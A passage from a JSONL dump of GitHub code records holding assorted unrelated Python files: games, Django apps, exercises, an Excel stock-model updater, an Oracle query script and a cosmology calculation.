是否有空間可以繼續玩 ?\n return False\n n = int(input('請輸入位置(0~8):'))\n\n if n == -1:\n return False # 離開\n\n ttt[n // 3][n % 3] = 'O'\n printTTT() # 印出盤面\n if theWinnerIs(): # 判斷是否有贏家\n return False\n #-------------------------------------------\n # 電腦玩「X」\n if not keepGoing(): # 是否有空間可以繼續玩 ?\n return False\n print('電腦計算中...')\n t.sleep(2)\n while True:\n n = r.randint(0, 8)\n if ttt[n // 3][n % 3] == ' ':\n ttt[n // 3][n % 3] = 'X'\n break\n\n printTTT() # 印出盤面\n if theWinnerIs(): # 判斷是否有贏家\n return False\n\n return True # 繼續玩\n\nif __name__ == '__main__':\n printTTT() # 印出盤面\n while play():\n pass\n\n","repo_name":"vincenttuan/Python20210713","sub_path":"lab/ttt/TicTaoToc2.py","file_name":"TicTaoToc2.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"36859720255","text":"from django.conf.urls import patterns, include, url\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'tracker.views.home', name='home'),\n\n # all url paths for xp_tracker_app are in xp_tracker_app.urls\n url(r'^', include('xp_tracker_app.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n)\n","repo_name":"trimailov/xp_tracker","sub_path":"tracker/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13023049309","text":"import os\nfrom xml.etree.ElementTree import*\n\nclass ControlCommandXML():\n \"\"\"\n 空調制御コマンドを扱うクラス(XML形式)\n \"\"\"\n def __init__(self, file_path):\n self.file_path = file_path\n\n def read(self):\n \"\"\"\n 空調制御コマンドを読み込み配列として返します。\n ファイルが存在しない場合はNoneを返します。\n [{'id' : コントローラー番号,\n 'name' : コマンド名,\n 'signal' : 信号\n }]\n \"\"\"\n # ファイルの存在可否\n if not os.path.isfile(self.file_path):\n return None\n \n tree = parse(self.file_path)\n elem = tree.getroot()\n command_list = []\n for e in elem.iter('command'):\n command_list.append({\n 'id' : c.get('id'),\n 'name' : c.find('commandName').text,\n 'signal' : c.find('signal').text\n })\n return command_list\n","repo_name":"bios-kimura/aacs","sub_path":"python/config/xml/control_command_xml.py","file_name":"control_command_xml.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"70908970960","text":"import xlwings\nimport pathlib\nimport shutil\nimport os\nfrom datetime import datetime\nimport re\nimport smart_value.stock\n\n\ndef new_stock_model(ticker):\n \"\"\"Creates a new model if it doesn't already exist, then update.\n\n :param ticker: the string ticker of the stock\n :raises FileNotFoundError: raises an exception when there is an error related to the model files or path\n \"\"\"\n\n stock_regex = re.compile(\".*Stock_Valuation_v\")\n negative_regex = re.compile(\".*~.*\")\n\n # Relevant Paths\n cwd = pathlib.Path.cwd().resolve()\n template_folder_path = cwd / 'financial_models' / 'Model_templates' / 'Listed_template'\n new_bool = False\n\n try:\n # Check if the template exists\n if pathlib.Path(template_folder_path).exists():\n path_list = [val_file_path for val_file_path in template_folder_path.iterdir()\n if template_folder_path.is_dir() and val_file_path.is_file()]\n template_path_list = list(item for item in path_list if stock_regex.match(str(item)) and\n not negative_regex.match(str(item)))\n if len(template_path_list) > 1 or len(template_path_list) == 0:\n raise FileNotFoundError(\"The template file error\", \"temp_file\")\n else:\n raise FileNotFoundError(\"The stock_template folder doesn't exist\", \"temp_folder\")\n except FileNotFoundError as err:\n if err.args[1] == \"temp_folder\":\n print(\"The stock_template folder doesn't exist\")\n if err.args[1] == \"temp_file\":\n print(\"The template file error\")\n else:\n # New model path\n model_name = ticker + \"_\" + os.path.basename(template_path_list[0])\n model_path = cwd / 'financial_models' / model_name\n if not pathlib.Path(model_path).exists():\n # Creates a new model file if not already exists in cwd\n print(f'Creating {model_name}...')\n new_bool = True\n shutil.copy(template_path_list[0], model_path)\n # update the model\n update_stock_model(ticker, model_name, model_path, new_bool)\n\n\ndef update_stock_model(ticker, model_name, model_path, new_bool):\n \"\"\"Update the model.\n\n :param ticker: the string ticker of the stock\n :param model_name: the model file name\n :param model_path: the model file path\n :param new_bool: False if there is a model exists, true otherwise\n \"\"\"\n # update the new model\n print(f'Updating {model_name}...')\n company = smart_value.stock.Stock(ticker, \"yf\") # uses yahoo finance data by default\n\n with xlwings.App(visible=False) as app:\n model_xl = app.books.open(model_path)\n update_dashboard(model_xl.sheets('Dashboard'), company, new_bool)\n update_data(model_xl.sheets('Data'), company, new_bool)\n model_xl.save(model_path)\n model_xl.close()\n\n\ndef update_dashboard(dash_sheet, stock, new_bool=False):\n \"\"\"Update the Dashboard sheet.\n\n :param dash_sheet: the xlwings object of the model\n :param stock: the Stock object\n :param new_bool: False if there is a model exists, true otherwise\n \"\"\"\n\n if new_bool:\n dash_sheet.range('C3').value = stock.asset_code\n dash_sheet.range('C4').value = stock.name\n dash_sheet.range('C5').value = datetime.today().strftime('%Y-%m-%d')\n dash_sheet.range('I3').value = stock.exchange\n dash_sheet.range('I5').value = stock.shares\n dash_sheet.range('I11').value = stock.report_currency\n\n # if pd.to_datetime(dash_sheet.range('C5').value) > pd.to_datetime(dash_sheet.range('C6').value):\n # stock.is_updated = False\n # else:\n # stock.is_updated = True\n dash_sheet.range('I4').value = stock.price[0]\n dash_sheet.range('I12').value = stock.fx_rate\n\n\ndef update_data(data_sheet, stock, new_bool=False):\n \"\"\"Update the Data sheet.\n\n :param data_sheet: the xlwings object of the model\n :param stock: the Stock object\n :param new_bool: False if there is a model exists, true otherwise\n \"\"\"\n\n data_sheet.range('C3').value = stock.last_fy\n data_digits = len(str(int(stock.is_df.iloc[0, 0])))\n if data_digits <= 6:\n report_unit = 1\n elif data_digits <= 9:\n report_unit = 1000\n else:\n report_unit = int((data_digits - 9) / 3 + 0.99) * 1000\n data_sheet.range('C4').value = report_unit\n\n if new_bool:\n # load income statement and cash flow statement\n for i in range(len(stock.is_df.columns)):\n data_sheet.range((7, i + 3)).value = int(stock.is_df.iloc[0, i] / report_unit)\n data_sheet.range((9, i + 3)).value = int(stock.is_df.iloc[1, i] / report_unit)\n data_sheet.range((11, i + 3)).value = int(stock.is_df.iloc[2, i] / report_unit)\n data_sheet.range((18, i + 3)).value = int(stock.is_df.iloc[3, i] / report_unit)\n data_sheet.range((19, i + 3)).value = int(stock.is_df.iloc[4, i] / report_unit)\n # CommonStockDividendPaid\n data_sheet.range((41, i + 3)).value = int(-stock.cf_df.iloc[3, i] / report_unit)\n # RepurchaseOfCapitalStock\n data_sheet.range((42, i + 3)).value = int(-stock.cf_df.iloc[4, i] / report_unit)\n # load balance sheet\n for j in range(1, len(stock.annual_bs.columns)):\n # CurrentAssets\n data_sheet.range((21, j + 3)).value = int(stock.annual_bs.iloc[1, j] / report_unit)\n # CurrentLiabilities\n data_sheet.range((22, j + 3)).value = int(stock.annual_bs.iloc[2, j] / report_unit)\n # ST Interest-bearing Debt = CurrentDebtAndCapitalLeaseObligation\n data_sheet.range((23, j + 3)).value = int(stock.annual_bs.iloc[3, j] / report_unit)\n # CurrentCapitalLeaseObligation\n data_sheet.range((24, j + 3)).value = int(stock.annual_bs.iloc[4, j] / report_unit)\n # LT Interest-bearing Debt = LongTermDebtAndCapitalLeaseObligation\n data_sheet.range((25, j + 3)).value = int(stock.annual_bs.iloc[5, j] / report_unit)\n # LongTermCapitalLeaseObligation\n data_sheet.range((26, j + 3)).value = int(stock.annual_bs.iloc[6, j] / report_unit)\n # TotalEquityGrossMinorityInterest\n data_sheet.range((28, j + 3)).value = int(stock.annual_bs.iloc[7, j] / report_unit)\n # MinorityInterest\n data_sheet.range((29, j + 3)).value = int(stock.annual_bs.iloc[8, j] / report_unit)\n # CashAndCashEquivalents\n data_sheet.range((30, j + 3)).value = int(stock.annual_bs.iloc[9, j] / report_unit)\n # NetPPE\n data_sheet.range((31, j + 3)).value = int(stock.annual_bs.iloc[14, j] / report_unit)\n\n\n# update dash only, not touching the data tab\ndef update_dash(ticker):\n \"\"\"Update the dashboard of the model.\n\n :param ticker: the string ticker of the stock\n :raises FileNotFoundError: raises an exception when there is an error related to the model files or path\n \"\"\"\n\n # Relevant Paths\n opportunities_folder_path = pathlib.Path.cwd().resolve() / 'financial_models' / 'Opportunities'\n path_list = []\n\n if pathlib.Path(opportunities_folder_path).exists():\n path_list = [val_file_path for val_file_path in opportunities_folder_path.iterdir()\n if opportunities_folder_path.is_dir() and val_file_path.is_file()]\n for p in path_list:\n if ticker in p.stem:\n with xlwings.App(visible=False) as app:\n xl_book = app.books.open(p)\n dash_sheet = xl_book.sheets('Dashboard')\n company = smart_value.stock.Stock(ticker, \"yf\")\n smart_value.tools.stock_model.update_dashboard(dash_sheet, company)\n xl_book.save(p)\n xl_book.close()\n","repo_name":"JerryChenz/Invest_Proc_Open","sub_path":"smart_value/tools/stock_model.py","file_name":"stock_model.py","file_ext":"py","file_size_in_byte":7784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41611632247","text":"class RemoveDuplicates:\n def __init__(self):\n \"\"\"\n * Remove Duplicates II\n *\n * - Given a sorted array, remove the duplicates in-place such that duplicates appeared at most twice and\n * return the new length (为有序数组去重,每个元素最多出现两次).\n * 思路: 通过双指针,去判断后面的第二位\n \"\"\"\n self.array = [1, 1, 1, 2, 3, 3, 4, 4, 4, 4, 7]\n\n def run(self):\n print(self.__class__.__name__)\n i = self.dedup()\n print(f\"length: {i}\")\n print(f\"result_array: {self.array}\")\n\n def dedup(self):\n validate_index = 0\n for index in range(0, len(self.array)):\n if index + 2 >= len(self.array):\n if index + 1 >= len(self.array):\n return validate_index + 1\n return validate_index\n if self.array[index] == self.array[index + 2]:\n next_index = self.find_next_index(index + 2)\n if next_index != -1:\n self.array[index + 2] = self.array[next_index]\n else:\n return validate_index\n validate_index += 1\n else:\n validate_index += 1\n\n def find_next_index(self, index):\n for next_index in range(index + 1, len(self.array)):\n if self.array[index] != self.array[next_index]:\n return next_index\n return -1\n\n\nif __name__ == '__main__':\n o = RemoveDuplicates()\n o.run()\n","repo_name":"MGloder/python-alg-exe","sub_path":"array/rmoeve_duplicates_II.py","file_name":"rmoeve_duplicates_II.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9649859248","text":"global_patient = \"24\"\r\nglobal_case = \"34\"\r\nglobal_slc = \"1\"\r\n\r\ng_d = 7\r\ng_std_t = 0.65\r\nImg_shape = (256, 256)\r\nglobal_all = '{}_case_{}_{}'.format(global_patient, global_case, global_slc)\r\npath_file = r\"/home/aiteam_share/database/ISLES2018_brain_aif/{}\".format(global_all)\r\n\r\n# create your fold for fitting bone and aif mask\r\nbone_aif_mask = r\"/home/dxy/ais/aif_mask/{}\".format(global_all)\r\npath_image = r\"/home/aiteam_share/database/ISLES2018_4D\"\r\npath_mask = r\"/home/aiteam_share/database/ISLES2018_mask\"\r\n\r\n\r\n","repo_name":"TangBoo/CS583-Deep-Learning","sub_path":"Homeworks/Assigments/Image Process/Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71836718477","text":"from collections import deque\n\nmilligrams_of_coffeine = list(map(int, input().split(', ')))\nenergy_drinks = deque(map(int, input().split(', ')))\n\ntotal_caffeine = 0\n\nwhile True:\n if not milligrams_of_coffeine or not energy_drinks:\n break\n\n curr_coffe = milligrams_of_coffeine.pop()\n curr_energy_drink = energy_drinks.popleft()\n\n curr_caffeine = curr_coffe * curr_energy_drink\n\n if total_caffeine + curr_caffeine <= 300:\n total_caffeine += curr_caffeine\n else:\n energy_drinks.append(curr_energy_drink)\n if total_caffeine > 0:\n total_caffeine -= 30\n\nif energy_drinks:\n print(f\"Drinks left: {', '.join(map(str, energy_drinks))}\")\nelse:\n print('At least Stamat wasn\\'t exceeding the maximum caffeine.')\n\nprint(f'Stamat is going to sleep with {total_caffeine} mg caffeine.')","repo_name":"Daooobg/SoftUni","sub_path":"Python/03_advanced/07_exam_prep/22_october_2022/01_energy_drinks.py","file_name":"01_energy_drinks.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"8504930525","text":"# pylint: disable=missing-docstring\n\nimport nengo\nimport numpy as np\nimport pytest\nimport tensorflow as tf\nfrom nengo import builder\nfrom nengo.builder import operator, signal\n\nfrom nengo_dl.op_builders import sparse_matmul\nfrom nengo_dl.utils import tf_gpu_installed\n\n\ndef test_elementwise_inc(Simulator):\n # note: normally the op_builders are just tested as part of the nengo\n # tests. but in this particular case, there are no nengo tests that\n # have a scalar, non-1 transform. those all get optimized out during\n # the graph optimization, so we don't end up with any tests of\n # elementwiseinc where A is a scalar. so that's what this is for.\n\n model = builder.Model()\n\n a = signal.Signal([2.0])\n x = signal.Signal([[3.0]])\n y = signal.Signal([[1.0]])\n op = operator.ElementwiseInc(a, x, y)\n model.add_op(op)\n\n with Simulator(None, model=model) as sim:\n sim.run_steps(5)\n\n\n@pytest.mark.parametrize(\"device\", (\"/cpu:0\", \"/gpu:0\", None))\n@pytest.mark.parametrize(\"dtype\", (tf.float32, tf.float64))\ndef test_sparse_matmul(dtype, device):\n if device == \"/gpu:0\" and not tf_gpu_installed:\n pytest.skip(\"Can't test GPU device without GPU support\")\n\n with tf.device(device):\n A = tf.ones(3, dtype=dtype)\n idxs = tf.constant([[0, 0], [1, 1], [2, 2]])\n shape = (3, 3)\n X = tf.ones((3, 1), dtype=dtype) * 2\n\n with pytest.warns(None) as recwarns:\n Y = sparse_matmul(idxs, A, shape, X)\n\n if dtype == tf.float64 and (\n device == \"/gpu:0\" or (device is None and tf_gpu_installed)\n ):\n assert len([w for w in recwarns if \"sparse_matmul\" in str(w.message)]) == 1\n else:\n assert len([w for w in recwarns if \"sparse_matmul\" in str(w.message)]) == 0\n\n assert Y.dtype == dtype\n\n assert np.allclose(tf.keras.backend.get_value(Y), np.ones(3) * 2)\n\n\ndef test_merged_simpyfunc(Simulator):\n with nengo.Network() as net:\n # nodes get time + x\n node0 = nengo.Node(lambda t, x: x + t, size_in=1)\n node1 = nengo.Node(lambda t, x: x + 2 * t, size_in=1)\n\n # direct ensembles won't get time as input\n ens0 = nengo.Ensemble(10, 1, neuron_type=nengo.Direct())\n nengo.Connection(ens0, node0, function=lambda x: x + 1)\n ens1 = nengo.Ensemble(10, 1, neuron_type=nengo.Direct())\n nengo.Connection(ens1, node1, function=lambda x: x + 2)\n\n p0 = nengo.Probe(node0)\n p1 = nengo.Probe(node1)\n\n with nengo.Simulator(net) as canonical:\n canonical.run_steps(10)\n\n with Simulator(net) as sim:\n assert (\n len(\n [\n ops\n for ops in sim.tensor_graph.plan\n if isinstance(ops[0], operator.SimPyFunc)\n ]\n )\n == 2\n )\n\n sim.run_steps(10)\n\n assert np.allclose(canonical.data[p0], sim.data[p0])\n assert np.allclose(canonical.data[p1], sim.data[p1])\n","repo_name":"nengo/nengo-dl","sub_path":"nengo_dl/tests/test_op_builders.py","file_name":"test_op_builders.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"29"} +{"seq_id":"37134893805","text":"# package 들간의 dependency를 조절하기 귀찮은 경우에 상용 패키지 사용 (i.e. 아나콘다)\n\nimport csv\nimport cx_Oracle\n\nif __name__ == '__main__':\n # DSN: Data Source Name\n dsn = cx_Oracle.makedsn('localhost',1521, 'orcl')\n # 여기있는 정보들은 Oracle 에서 가져오는 것 (호스트이름, 포트, SID) 순서\n # 접속할 데이터 베이스의 서버 정보 불러오기\n\n # 데이터 베이스를 사용하기 위해서 서버에 접속 (connection)\n with cx_Oracle.connect('scott', 'tiger', dsn) as connection:\n # user_id, password, server_info\n # 커서 객체 (SQL문을 데이터 베이스 서버에서 실행) 생성\n with connection.cursor() as cursor:\n # SQL 문장을 작성\n sql_select_emp = 'select * from emp'\n # SQL 문장을 데이터 베이스 서버에서 실행\n cursor.execute(sql_select_emp)\n # SQL 문장 실행 결과 처리 # 튜플들! -> list -> df 로 만드는 과정이 필요\n emp = [row for row in cursor] # 커서에 있는 row' 들을 리스트에 저장하겠다 (row)\n # 실제 데이터들만 저장하고 컬럼 이름들은 안된다\n print(emp[0:2])\n print(len(emp))\n\n # connection 클래스 & 커서 클래스 를 알고 있는게 중요하다\n # indentation -> \\t 1개 만큼! (들여쓰기 중요)\n # 리스트 emp의 내용을 파일에 csv형식으로 저장\n # 변수 선언\n file_path = 'emp.csv'\n with open(file_path, mode = 'w', encoding = 'UTF-8', newline = '') as f:\n # csv writer 객체를 생성\n writer = csv.writer(f)\n for item in emp: # 리스트의 각 아이템마다 반복\n writer.writerow(item) # 아이템을 csv파일에 한 줄씩 쓰기\n","repo_name":"hyelim-kim1028/lab-python","sub_path":"scratch09/ex08_1_teacher'solution.py","file_name":"ex08_1_teacher'solution.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19474707648","text":"# -*- coding: utf-8 -*-\nimport logging\n\nimport click\n\nfrom ..reformat import SourceWriter\n\nfrom .base import COMMON_ARGS, COMMON_OPTIONS\n\n\n@click.command()\n@click.argument(\"basepath\", **COMMON_ARGS[\"basepath\"][\"kwargs\"])\n@click.option(\n *COMMON_OPTIONS[\"profile\"][\"args\"],\n **COMMON_OPTIONS[\"profile\"][\"kwargs\"]\n)\n@click.option(\n *COMMON_OPTIONS[\"require-pragma\"][\"args\"],\n **COMMON_OPTIONS[\"require-pragma\"][\"kwargs\"]\n)\n@click.option(\n *COMMON_OPTIONS[\"pattern\"][\"args\"],\n **COMMON_OPTIONS[\"pattern\"][\"kwargs\"]\n)\n@click.pass_context\ndef reformat_command(context, basepath, profile, require_pragma, pattern):\n \"\"\"\n Rewrite sources with applied rules fixes on discovered files.\n\n The basepath argument may be a directory to recursively search or a single file\n path.\n \"\"\"\n logger = logging.getLogger(\"chalumo\")\n\n cleaner = SourceWriter(\n pragma_tag=require_pragma,\n compatibility=profile,\n file_search_pattern=pattern,\n )\n\n if basepath.is_file():\n logger.info(\"📂 Opening single file: {}\".format(basepath))\n else:\n logger.info(\"📂 Opening base directory: {}\".format(basepath))\n\n logger.info(\"🔧 Using pattern: {}\".format(cleaner.file_search_pattern))\n\n logger.info(\"🔧 Profile: {}\".format(profile))\n\n if cleaner.pragma_tag:\n logger.info(\"🔧 Required pragma tag: {}\".format(cleaner.pragma_tag))\n\n cleaner.run(basepath)\n","repo_name":"sveetch/chalumo","sub_path":"chalumo/cli/reformat.py","file_name":"reformat.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41482415240","text":"#!/usr/bin/python\n\"\"\"\nReproduce the CAMB theta variable.\n\"\"\"\nimport numpy as np\nimport scipy.integrate\nimport scipy.interpolate\nimport pylab as P\nimport copy\n\nC = 3e5 # km/s\n\n################################################################################\ndef comoving_dist(a, cosmo):\n \"\"\"\n Comoving distance. Ignores radiation, which might shift results slightly.\n \"\"\"\n aa = np.logspace(np.log10(a), 0., 1000)\n zz = 1./aa - 1.\n \n # Cosmological parameters\n H0 = (100.*cosmo['h']); w0 = cosmo['w0']; wa = cosmo['wa']\n ombh2 = cosmo['omega_b_0'] * cosmo['h']**2.\n om = cosmo['omega_M_0']; ol = cosmo['omega_lambda_0']\n ogam = 2.47e-5 / cosmo['h']**2. # Rad. density fraction, from Dodelson Eq. 2.70\n Neff = 3.046\n onu = (7./8.) * (4./11.)**(4./3.) * Neff * ogam\n ok = 1. - om - ol\n \n # Omega_DE(z) and 1/E(z)\n omegaDE = ol #* np.exp(3.*wa*(aa - 1.)) / aa**(3.*(1. + w0 + wa))\n invE = 1. / np.sqrt( om*aa + ok*aa**2. + ogam + onu + omegaDE*aa**4.) # 1/(a^2 H)\n \n # Calculate r(z), with curvature-dependent parts\n r_c = scipy.integrate.simps(invE, aa)\n if ok > 0.:\n _r = C/(H0*np.sqrt(ok)) * np.sinh(r_c * np.sqrt(ok))\n elif ok < 0.:\n _r = C/(H0*np.sqrt(-ok)) * np.sin(r_c * np.sqrt(-ok))\n else:\n _r = (C/H0) * r_c\n return _r\n\ndef rsound(a, cosmo):\n \"\"\"\n Calculate the sound horizon at some scale factor, a. (In Mpc)\n \"\"\"\n # Uses the following expressions from Dodelson:\n # Eq. 8.19: c_s(eta) = [3 (1+R)]^(-1/2)\n # Eq. 8.22: r_s(eta) = integral_0^eta c_s(eta') d(eta')\n # p82: R = 3/4 rho_b / rho_gamma\n # Eq. 2.71: rho_b = Omega_b a^-3 rho_cr\n # Eq. 2.69: rho_gamma = (pi^2 / 15) (T_CMB)^4\n # Eq. 2.70: Omega_gamma h^2 = 2.47e-5\n # We have also converted the integral from conformal time, deta, to da\n \n # Scale-factor samples\n aa = np.logspace(-8., np.log10(a), 1000)\n \n # Cosmological parameters\n H0 = (100.*cosmo['h']); w0 = cosmo['w0']; wa = cosmo['wa']\n ombh2 = cosmo['omega_b_0'] * cosmo['h']**2.\n om = cosmo['omega_M_0']; ol = cosmo['omega_lambda_0']\n ogam = 2.47e-5 / cosmo['h']**2. # Rad. density fraction, from Dodelson Eq. 2.70\n Neff = 3.046\n onu = (7./8.) * (4./11.)**(4./3.) * Neff * ogam\n ok = 1. - om - ol\n \n # Omega_DE(z) and E(z)\n omegaDE = ol * np.exp(3.*wa*(aa - 1.)) / aa**(3.*(1. + w0 + wa))\n \n # Integrate sound speed\n R = 3.0364e4 * ombh2 * aa # Baryon-photon ratio\n cs = np.sqrt(3. + 3.*R) # Sound speed\n rs_integ = 1. / np.sqrt( om*aa + ok*aa**2. + ogam + onu + omegaDE*aa**4.) # 1/(a^2 H)\n rs_integ /= cs\n rs = (C/H0) * scipy.integrate.simps(rs_integ, aa)\n return rs\n\n\ndef cmb_to_theta(cosmo, h):\n \"\"\"\n Convert input CMB parameters to a theta value; taken from params_CMB.f90, \n function CMBToTheta(CMB), which implements Hu & Sugiyama fitting formula.\n \n Theta depends on (ombh2, omdmh2) only.\n \"\"\"\n # Recast cosmological parameters into CAMB parameters\n p = {}\n cosmo['h'] = h\n p['hubble'] = 100.*cosmo['h']\n p['omch2'] = (cosmo['omega_M_0'] - cosmo['omega_b_0']) * cosmo['h']**2.\n p['ombh2'] = cosmo['omega_b_0'] * cosmo['h']**2.\n p['omk'] = 1. - (cosmo['omega_M_0'] + cosmo['omega_lambda_0'])\n \n # CAMB parameters\n ombh2 = p['ombh2']; omch2 = p['omch2']\n \n # Redshift of LSS (Hu & Sugiyama fitting formula, from CAMB)\n # N.B. This is only an approximate value. CAMB can also get a more precise \n # value. Typical difference is ~2, i.e. ~0.2%.\n zstar = 1048. * (1. + 0.00124*ombh2**-0.738) \\\n * ( 1. + (0.0783*ombh2**-0.238 / (1. + 39.5*ombh2**0.763)) \\\n * (omch2 + ombh2)**(0.560/(1. + 21.1*ombh2**1.81)) )\n astar = 1. / (1. + zstar)\n \n # Get theta = rs / r (typical agreement with CAMB is ~ 0.1%)\n # (N.B. Note different definition of angular diameter distance in CAMB)\n rs = rsound(astar, cosmo)\n rstar = comoving_dist(astar, cosmo)\n theta = rs / rstar\n return theta\n\ndef find_h_for_theta100(th100, cosmo, hmin=0.5, hmax=0.85, nsamp=20):\n \"\"\"\n Find the value of h that gives a particular value of 100*theta_MC in CAMB.\n Similar to the algorithm in CosmoMC:params_CMB.f90:ParamsToCMBParams().\n \n Parameters\n ----------\n th100 : float\n Target value of 100*theta_MC\n \n cosmo : dict\n Dictionary of cosmological parameters. 'h' will be ignored. For this \n calculation, only {'omega_M_0', 'omega_b_0', 'omega_lambda_0'} matter.\n \n hmin, hmax : float, optional\n Bounds of range of h values to search inside. Default is h = [0.5, 0.85]\n \n nsamp : int, optional\n Number of samples to return for interpolation function. Default: 20.\n \n Returns\n -------\n h : float\n Value of h that gives the input value of theta_MC.\n \"\"\"\n \n # Get samples\n c = copy.deepcopy(cosmo)\n hvals = np.linspace(hmin, hmax, nsamp) # Range of h values to scan\n th = 100. * np.array([cmb_to_theta(c, hh) for hh in hvals])\n \n # Interpolate sample points (trend is usually very smooth, so use quadratic)\n h_match = scipy.interpolate.interp1d(th, hvals, kind='quadratic')(th100)\n return h_match\n","repo_name":"philbull/RadioFisher","sub_path":"test_camb_theta_variable.py","file_name":"test_camb_theta_variable.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"29"} +{"seq_id":"74958648718","text":"from django.urls import path\n\nfrom akarpov.blog.views import (\n comment,\n main_post_list_view,\n post_create_view,\n post_detail_view,\n post_list_view,\n post_update_view,\n rate_post_down,\n rate_post_up,\n)\n\napp_name = \"blog\"\nurlpatterns = [\n path(\"\", main_post_list_view, name=\"post_list\"),\n path(\"all\", post_list_view, name=\"all_posts_list\"),\n path(\"p/\", post_detail_view, name=\"post\"),\n path(\"create/\", post_create_view, name=\"post_create\"),\n path(\"/edit\", post_update_view, name=\"post_edit\"),\n path(\"/comment\", comment, name=\"comment\"),\n path(\"/rate_up\", rate_post_up, name=\"rate_post_up\"),\n path(\"/rate_down\", rate_post_down, name=\"rate_post_down\"),\n]\n","repo_name":"Alexander-D-Karpov/akarpov","sub_path":"akarpov/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"23856663753","text":"# almost all of this is an exact copy of Part 1, comments here reflect any\n# differences from Part 1\nimport re\n\nclass Claim(object):\n\n def __init__(self, claim_string):\n self.regex_pattern = r'#(\\d+) @ (\\d+),(\\d+): (\\d+)x(\\d+)'\n matches = re.search(self.regex_pattern, claim_string)\n self.id = int(matches.group(1))\n self.start_x = int(matches.group(2))\n self.start_y = int(matches.group(3))\n self.width = int(matches.group(4))\n self.height = int(matches.group(5))\n self.tl = (self.start_x + 1, self.start_y + 1)\n self.br = (self.start_x + self.width, self.start_y + self.height)\n\n def squares(self):\n sq = set()\n for x in range(0, self.width):\n for y in range(0, self.height):\n sq.add((self.start_x + 1 + x, self.start_y + 1 + y))\n return sq\n \nclass Fabric(object):\n\n def __init__(self):\n self.claimed_squares = {}\n\n def add_claim(self, claim):\n for square in claim.squares():\n if square not in self.claimed_squares:\n self.claimed_squares[square] = []\n self.claimed_squares[square].append(claim.id)\n\n # for part 2, we need to find the single claim that has no overlaps at\n # all. in order to do this we need to find any claim ID that shares at \n # least one square with another claim ID.\n def overlapped_claim_ids(self):\n claim_ids = set()\n for address, claims in self.claimed_squares.items():\n if len(claims) > 1:\n claim_ids.update(claims)\n return claim_ids\n\nwith open('./inputs/part1-2.txt') as puzzle_input:\n claims = list(map(Claim, puzzle_input.readlines()))\n\nfabric = Fabric()\nfor claim in claims:\n fabric.add_claim(claim)\n\n# build a list of all claim IDs, then get the list of any claim ID that shares\n# at least one other square with another claim.\nall_claim_ids = [claim.id for claim in claims]\noverlapped_claim_ids = fabric.overlapped_claim_ids()\n\n# compare the full list with the list of shared and find the ID that has no\n# shared squares\nprint([claim_id for claim_id in all_claim_ids if claim_id not in overlapped_claim_ids])","repo_name":"jhegele/advent-of-code-2018","sub_path":"day03/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"7367547577","text":"from django.contrib import messages\nfrom django.shortcuts import render, redirect\nfrom myapp.models import *\nfrom django.db.models import Q\n\n\ndef show_about_page(request):\n print(\"about page request\")\n name=\"ABC\"\n link=\"https://www.youtube.com/watch?v=wHiAXBVJIuw\"\n\n data={\n \"name\":name,\n \"link\":link\n }\n return render(request,\"about.html\",data)\n\ndef show_home_page(request):\n\n cats=Category.objects.all()\n images=Image.objects.all()\n\n data={\"images\":images, \"cats\":cats}\n return render(request,'home.html',data)\n\ndef show_category_page(request,cid):\n print(cid)\n cats=Category.objects.all()\n\n category=Category.objects.get(pk=cid)\n images=Image.objects.filter(cat=category)\n\n data={\"images\":images, \"cats\":cats}\n return render(request,'home.html',data)\n\ndef search(request):\n if request.method=='GET':\n keywords=request.GET.get('keywords')\n images = Image.objects.filter(Q(title__icontains=keywords))\n if keywords:\n if images:\n images = Image.objects.filter(Q(title__icontains=keywords))\n else:\n messages.warning(request, 'No Result Found')\n\n return render(request,'result.html',{'keywords':keywords,'images':images})\n\ndef home(request):\n return redirect('/home')\n","repo_name":"Atulkoirala/ImageSite","sub_path":"ourimage/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32948234386","text":"# List comprehension\n# Looping di dalam list\n\n# # put loop inside list , result > [0,1,2,3,4]\n# x = [i for i in range(5)]\n# print(x)\n\n# # we can do function or arithmetic operation\n# x = [str(i) for i in range(5)]\n# print(x)\n\n# # Loop inside loop\n# # for i in range(5):\n# # for j in range(2):\n# # return i*j \n# x = [i*j for i in range(5) for j in range(2)]\n# print(x)\n\n# # we can even put conditionals. but no elif\n# # for i in range(5):\n# # for j in range(2):\n# # if i < 3:\n# # return i*j\n# # else:\n# # return i+j\n# x = [i*j if i < 3 or i==4 else i+j for i in 